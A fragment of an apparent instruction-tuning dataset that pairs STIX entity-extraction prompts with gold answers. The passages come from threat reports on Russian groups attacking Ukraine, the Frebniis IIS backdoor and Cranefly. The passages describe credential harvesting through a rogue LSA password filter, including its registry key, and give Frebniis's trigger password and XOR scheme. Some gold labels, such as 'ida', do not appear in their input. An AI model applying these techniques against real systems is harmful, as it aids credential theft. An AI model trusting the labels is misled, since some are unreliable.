    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nShuckworm: Inside Russia\u2019s Relentless Cyber Campaign Against Ukraine\n",
    "output": "<entities>Russia|Shuckworm|Ukraine</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\n**Second Stage: Abusing The Dropped Password Filter Policy**\nMicrosoft introduced Password Filters for system administrators to enforce password policies and change notifications. These filters are used to validate new passwords, confirm that these are aligned with the password policy in place, and ensure that no passwords in use can be considered compliant with the domain policy but are considered weak.\nThese password filters can be abused by a threat actor as a method to intercept or retrieve credentials from domain users (domain controller) or local accounts (local computer). This is because for password filters to perform, password validation requires the password of the user in plaintext from the Local Security Authority (LSA). Therefore, installing and registering an arbitrary password filter could be used to harvest credentials every time a user changes his password. This technique requires elevated access (local administrator) and can be implemented with the following steps:\n1. Password Filter psgfilter.dll be dropped into C:\\Windows\\System32\n2. Registry key modification to register the Password Filter [DLL HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\nNotification Packages = scecli, psgfilter]\nUsing this technique, the malicious actor can capture and harvest every password from the compromised machines even after the modification. The DLL has three export functions to implement the main functionality of support for registering the DLL into the LSA, as follows:\n* **InitializeChangeNotify:** Indicates that a password filter DLL is initialized.\n* **PasswordChangeNotify:** Indicates that a password has been changed.\n* **PasswordFilter:** Validates a new password based on password policy.\nFigure 8. First and second stages\nFigure 9. Functions exported by DLL\nWhen implementing the password filter export functions, the malicious actor took great care working with the plaintext passwords. When sent over networks, the plaintext passwords were first encrypted before being exfiltrated.\n",
    "output": "<entities>Microsoft|Windows|psgfilter.dll|ida</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nVictims\nOne of the most significant things about this campaign is the targets, which include Ukrainian military, security, research, and government organizations. The attackers were observed focusing on machines that contained what appeared from file names to be sensitive military information that may be abused to support Russian kinetic war efforts.\nThe majority of these attacks began in February/March 2023, with the attackers maintaining a presence on some of the victim machines until May. The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information. There were indications in some organizations that the attackers were on the machines of the organizations\u2019 human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.\nThis activity demonstrates that Shuckworm\u2019s relentless focus on Ukraine continues. It seems clear that Russian nation-state-backed attack groups continue to prioritize high-value Ukrainian targets in attempts to find data that may potentially help their military operations.\n",
    "output": "<entities>Russia|Shuckworm|Ukraine</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSimilarity to older tools\nGraphiron has some similarities with older Nodaria tools such as GraphSteel and GrimPlant, which were first discovered by CERT-UA. GraphSteel is designed to exfiltrate files along with system information and credentials stolen from the password vault using PowerShell. Graphiron has similar functionality but can exfiltrate much more, such as screenshots and SSH keys.\nIn addition to this, as with earlier malware, Graphiron communicates with the C&C server using port 443 and communications are encrypted using the AES cipher.\nTable 2: Comparison between Graphiron and older Nodaria tools (GraphSteel and GrimPlant)Malware  Go version  Internal name  Obfuscation  Libraries used\n---------------\nInfostealer.Graphiron   1.18   n/a   yes   jcmturner/aescts, buger/jsonparser, golang/protobuf, kbinani/screenshot, lxn/win, mattn/go-sqlite, tidwall/gjson, anmitsu/go-shlex\nDownloader.Graphiron   1.18   n/a   yes   jcmturner/aescts\nGraphSteel   1.16   Elephant   no   buger/jsonparser, aglyzov/charmap, denisbrodbeck/machineid, gorilla/websocket, jcmturner/aescts, matn/go-sqlite, tidwall/gjson\nGrimPlant   1.16   Elephant   no   jcmturner/aescts, denisbrodbeck/machineid, golang/protobuf, kbinani/screenshot, lxn/win, anmitsu/go-shlex\n",
    "output": "<entities>C&C|Nodaria|PowerShell|Graphiron|GrimPlant|GraphSteel|CERT-UA</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nNodaria\nNodaria has been active since at least March 2021 and appears to be mainly involved in targeting organizations in Ukraine. There is also limited evidence to suggest that the group has been involved in attacks on targets in Kyrgyzstan. Third-party reporting has also linked the group to attacks on Georgia.\nThe group sprang to public attention when it was linked to the WhisperGate wiper attacks that hit multiple Ukrainian government computers and websites in January 2022. When WhisperGate was initially loaded onto a system, the malware would overwrite the portion of the hard drive responsible for launching the operating system when the machine is booted up with a ransom note demanding $10,000 in Bitcoin. However, this was just a decoy as the WhisperGate malware destroys data on an infected machine and it cannot be recovered, even if a ransom is paid.\nThe group\u2019s usual infection vector is spear-phishing emails, which are then used to deliver a range of payloads to targets. Custom tools used by the group to date include:\n* Elephant Dropper: A dropper\n* Elephant Downloader: A downloader\n* SaintBot: A downloader\n* OutSteel: Information stealer\n* GrimPlant (Elephant Implant): Collects system information and maintains persistence\n* GraphSteel (Elephant Client): Information stealer\nLike Graphiron, many of Nodaria\u2019s earlier tools were written in Go. Graphiron appears to be the latest piece of malware authored by the same developers, likely in response to a need for additional functionality. While GraphSteel and GrimPlant used Go version 1.16, Graphiron uses version 1.18, confirming it is a more recent development.\nWhile Nodaria was relatively unknown prior to the Russian invasion of Ukraine, the group\u2019s high-level activity over the past year suggests that it is now one of the key players in Russia\u2019s ongoing cyber campaigns against Ukraine.\n",
    "output": "<entities>Nodaria|Georgia|Russia|OutSteel|Graphiron|Kyrgyzstan|Bitcoin|GrimPlant|Elephant Downloader|SaintBot|GraphSteel|Ukraine|Elephant Dropper|WhisperGate|Elephant Client|Elephant Implant</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nMalware injects malicious code into Failed Request Event Buffering module in order to monitor HTTP requests from attacker.\nSymantec, by Broadcom Software, has observed a new malware that abuses a feature of Microsoft\u2019s Internet Information Services (IIS) to deploy a backdoor onto targeted systems.\nThe malware, dubbed Frebniis (Backdoor.Frebniis), was used by a currently unknown threat actor against targets in Taiwan.\nThe technique used by Frebniis involves injecting malicious code into the memory of a DLL file (iisfreb.dll) related to an IIS feature used to troubleshoot and analyze failed web page requests. This allows the malware to stealthily monitor all HTTP requests and recognize specially formatted HTTP requests sent by the attacker, allowing for remote code execution. In order to use this technique, an attacker needs to gain access to the Windows system running the IIS server by some other means. In this particular case, it is unclear how this access was achieved.\n",
    "output": "<entities>Symantec|Microsoft|Windows|IIS|Broadcom Software|Frebniis|Taiwan|Broadcom|iisfreb.dll</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFrebniis: New Malware Abuses Microsoft IIS Feature to Establish Backdoor\n",
    "output": "<entities>Microsoft|IIS|Frebniis</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFailed Request Event Buffering\nIIS is a general-purpose web server that runs on Windows systems to serve requested HTML pages or files. An IIS web server accepts requests from remote client computers and returns the appropriate response. IIS has a feature known as Failed Request Event Buffering (FREB) that collects data and details about requests, such as originating IP address and port, HTTP headers with cookies, etc.\nA feature called Failed Request Tracing can be used to troubleshoot IIS failed requests. Failed Request Tracing buffers the trace events for a request and flushes them to disk if the request meets the definition of \u201cfail\u201d set by the user. Failed request tracing can, for example, be used to learn why requests are returning a specific HTTP status code (401 or 404, etc.), or why a request is taking too long to process, or is not responding.\n",
    "output": "<entities>Windows|IIS</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBackdoor\nThe Frebniis malicious injected code parses all received HTTP POST requests for /logon.aspx or /default.aspx along with a parameter password set to \u20187ux4398!\u2019. If the password matches, Frebniis decrypts and executes a section of the injected code, which is .NET executable code consisting of the main backdoor functionality. No executables are saved to disk in this process, keeping the backdoor completely stealthy.\nThe .NET code provides proxying functionality and remote code execution controlled by a provided second HTTP parameter that is a Base64 encoded string.\nTo enable the proxy, the encoded string is Base64 decoded and then decrypted (xor 0x08), with the first character representing a proxy command followed by expected parameters. The proxy is used to send and receive Base64 encoded data from other computer systems. This allows the attackers to communicate with internal resources that may normally be blocked from the internet via the compromised IIS server.\nTable 1. Frebniis commands \u2013 the function names have been misspelled by the malware author Command  Function name  Parameter  Description\n------------\n1   CreateConnect   Host:Port   Connect to a remote system for proxying, returns a UUID representing the remote system\n2   ReadScoket   Uuid   Read a Base64 string from a remote system\n3   Writescoket   Uuid, Base64 string   Write a Base64 string to a remote system\n4   CloseScoket   Uuid   Close the connection\nThe .NET backdoor code also supports remote execution. If an HTTP call to logon.aspx or default.aspx is received without the password parameter, but with the Base64 string, the Base64 string is assumed to be C# code that will be executed straight in memory. The Base64 string is decoded and then decrypted (xor 0x08) and is expected to be an XML document with the C# code to be executed in the \u2018/doc\u2019 node under the \u2018data\u2019 attribute (E.g. ). The C# code is extracted and executed. This allows Frebniis to stealthily execute arbitrary code on the system.\nFigure 3. Example of how Frebniis is used\nBy hijacking and modifying IIS web server code, Frebniis is able to intercept the regular flow of HTTP request handling and look for specially formatted HTTP requests. These requests allow remote code execution and proxying to internal systems in a stealthy manner. No files or suspicious processes will be running on the system, making Frebniis a relatively unique and rare type of HTTP backdoor seen in the wild.\n",
    "output": "<entities>IIS|.NET|Frebniis|default.aspx|logon.aspx</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nIndicators of Compromise\nIf an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.\n6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c \u2013 Backdoor.Frebniis\nb81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef \u2013 Backdoor.Frebniis\n",
    "output": "<entities>Symantec|Frebniis|6464f9a5da26aa53fb2221255e908fd4da8edf0633f94051beee74a14b9b001c|b81c177c440e84635f22dc97b0411de93a24a983a41af676ffbbb4439487aaef</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nStealth Code Hijacking of IIS\nFrebniis ensures Failed Request Tracing is enabled and then accesses w3wp.exe (IIS) process memory, obtaining the address of where the Failed Request Event Buffering code (iisfreb.dll) is loaded. With this code start address, Frebniis searches from there for a function pointer table to hijack code execution.\nThe authors of Frebniis have determined that a particular function pointer within iisfreb.dll is called by iiscore.dll whenever any HTTP request is made to IIS from a web client. This function normally checks if the content of the HTTP request matches the Failed Request Tracing rules.\nFigure 1. Function pointer table used to hijack execution\nFrebniis hijacks this function by injecting its own malicious code into IIS process memory and then replacing this function pointer with the address of its own malicious code. This hijack point allows Frebniis to stealthily receive and inspect every HTTP request to the IIS server before returning to the original function.\nFigure 2. After running its own malicious code, Frebniis jumps back to the original function\n",
    "output": "<entities>IIS|Frebniis|w3wp.exe|iiscore.dll|iisfreb.dll</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCranefly: Threat Actor Uses Previously Unseen Techniques and Tools in Stealthy Campaign\nGroup uses novel method of reading commands from legitimate IIS logs.\n_**Update November 2, 2022:** Updated with new information regarding the link to UNC3524._\nSymantec, by Broadcom Software, has discovered a previously undocumented dropper that is being used to install a new backdoor and other tools using the novel technique of reading commands from seemingly innocuous Internet Information Services (IIS) logs.\nThe dropper (Trojan.Geppei) is being used by an actor Symantec calls Cranefly to install another piece of hitherto undocumented malware (Trojan.Danfuan) and other tools. The technique of reading commands from IIS logs is not something Symantec researchers have seen being used to date in real-world attacks.\nInitial analysis appeared to show a link between Cranefly activity and the activity of a group called UNC3524 that Mandiant published a blog about in May 2022. This link was primarily based on the use of the Regeorg webshell, however, as this is publicly available on Github, its use alone is not sufficient to establish a firm link.\n",
    "output": "<entities>Symantec|Github|IIS|Cranefly|Regeorg|Geppei|Broadcom Software|UNC3524|Mandiant|Broadcom|Danfuan</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST 